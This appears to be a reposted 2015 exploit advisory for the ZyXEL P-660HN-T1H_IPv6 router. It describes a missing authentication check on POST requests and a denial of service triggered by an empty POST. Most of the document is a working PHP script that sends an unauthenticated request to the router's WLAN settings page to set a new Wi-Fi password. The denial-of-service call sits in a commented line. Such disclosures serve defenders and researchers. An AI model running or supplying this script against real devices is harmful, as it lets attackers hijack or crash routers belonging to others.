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KhiZaRix

ZYXEL P-660HN-T1H_IPv6 Denial Of Service

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<?php
/*
Exploit Title : ZYXEL remote configuration editor / Web Server DoS
Date : 23 April 2015
Exploit Author : Koorosh Ghorbani
Site : http://8thbit.net/
Vendor Homepage : http://www.zyxel.com/
Platform : Hardware
Tested On : ZyXEL P-660HN-T1H_IPv6
Firmware Version: 1.02(VLU.0)
--------------------------
Unattended remote access
--------------------------
ZYXEL Embedded Software does not check Cookies And Credentials on POST method so
attackers could changes settings and view pages with post method .

--------------------------
DoS Web Server
--------------------------
sending empty Post to admin pages will crash internal web server and router needs
to hard reset .

*/
$banner = " ___ _______ _ ____ _ _______ \r\n" . " / _ \__ __| | | _ \(_)__ __|\r\n" ." | (_) | | | | |__ | |_) |_ | | \r\n" ." > _ < | | | '_ \| _ <| | | | \r\n" ." | (_) | | | | | | | |_) | | | | \r\n" ." \___/ |_| |_| |_|____/|_| |_| \r\n" ." \r\n" ." \r\n";
print $banner;
function Post($packet,$host)
{
try {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $host);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $packet);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0");
curl_setopt($curl, CURLOPT_REFERER, "Referer: http://192.168.1.1/cgi-bin/WLAN_General.asp");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curl);
curl_close($curl);
return $result;
}catch (Exception $e ){
echo $e->getMessage();
return "" ;
}
}
if(sizeof($argv) < 3) {
print "Usage : $argv[0] 192.168.1.1 NewWifiPassword\n";
exit(1);
}
$host = $argv[1];
$password = urlencode($argv[2]);
$packet= "access=0&DoScan=0&ChannelDoScan=0&WlanQosFlag=0&HtExtcha=0&IsPtGui=0&SecurityIndexOriginal=3&EnableWLAN=on&SSID_INDEX=0&EnableWLanFlag=1&CountryRegion=1&CountryRegion0=0&CountryRegion1=1&CountryRegion2=2&CountryRegion3=3&CountryRegion5=5&CountryRegion6=6&Countries_Channels=IRAN&Channel_ID=11&HideSsidFlag=0&WPACompatileFlag=WPA2PSK&EncrypType=TKIPAES&PreSecurity_Sel=WPA2PSK&Security_Sel=WPA2PSK&WLANCfgPphrase=&WEP_Key1=&DefWEPKey=1&WLANCfgPSK=$password&WLANCfgAuthenTimeout=1800&WLANCfgIdleTimeout=3600&WLANCfgWPATimer=1800&WLANCfgRadiusServerAddr=0.0.0.0&WLANCfgRadiusServerPort=1812&WLANCfgRadiusServerKey=&Qos_Sel=None&doSubmitFlag=0" ;
$target = "http://$host/cgi-bin/WLAN_General.asp";
if(strlen(Post($packet,$target)) > 0){
print "Seems Changed !";
}else{
print "Humm , No Chance !";
}
//DoS : Post("",$target) ;
?>

Source: http://packetstorm.wowhacker.com/1504-exploits/zyxel-dos.txt

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